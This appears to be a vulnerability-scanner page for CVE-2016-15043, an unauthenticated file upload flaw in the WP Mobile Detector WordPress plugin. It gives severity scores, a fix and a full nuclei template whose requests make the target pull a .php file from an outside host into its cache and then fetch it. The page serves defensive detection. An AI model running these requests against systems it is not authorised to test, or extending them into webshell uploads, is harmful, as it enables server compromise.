WP Mobile Detector <= 3.5 - Unrestricted File Upload

criticalseverity

9.8CVSS score

8.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WP Mobile Detector plugin for WordPress <= 3.5 contains an unrestricted file upload vulnerability caused by missing file type validation in resize.php, letting unauthenticated attackers upload arbitrary files, potentially leading to remote code execution.

Impact

Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.

Fix

Update to the latest version of WP Mobile Detector plugin.

How to confirm it

Send: GET /wp-content/plugins/wp-mobile-detector/resize.php?src=http://{{interactsh-url}}/{{filename}}
Positive when: contains(interactsh_protocol, "http") and contains(content_type, "image/gif")
Send: GET /wp-content/plugins/wp-mobile-detector/cache/{{filename}}
Positive when: status_code == 200 and regex('<body>(.*?)</body>', body)

Run it with nuclei: nuclei -id CVE-2016-15043 -u <target>

The full check

id: CVE-2016-15043

info:
  name: WP Mobile Detector <= 3.5 - Unrestricted File Upload
  author: D3nverNg,thewindghost
  severity: critical
  description: |
    WP Mobile Detector plugin for WordPress <= 3.5 contains an unrestricted file upload vulnerability caused by missing file type validation in resize.php, letting unauthenticated attackers upload arbitrary files, potentially leading to remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of WP Mobile Detector plugin.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
    - https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/
    - https://wpscan.com/vulnerability/e4739674-eed4-417e-8c4d-2f5351b057cf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-15043
    epss-score: 0.08886
    epss-percentile: 0.95266
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2016,wordpress,wp,wp-plugin,file-upload,rce,intrusive,vkev,vuln

variables:
  filename: "{{rand_text_alpha(8)}}.php"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mobile-detector/resize.php?src=http://{{interactsh-url}}/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(content_type, "image/gif")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-mobile-detector/cache/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - regex('<body>(.*?)</body>', body)
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from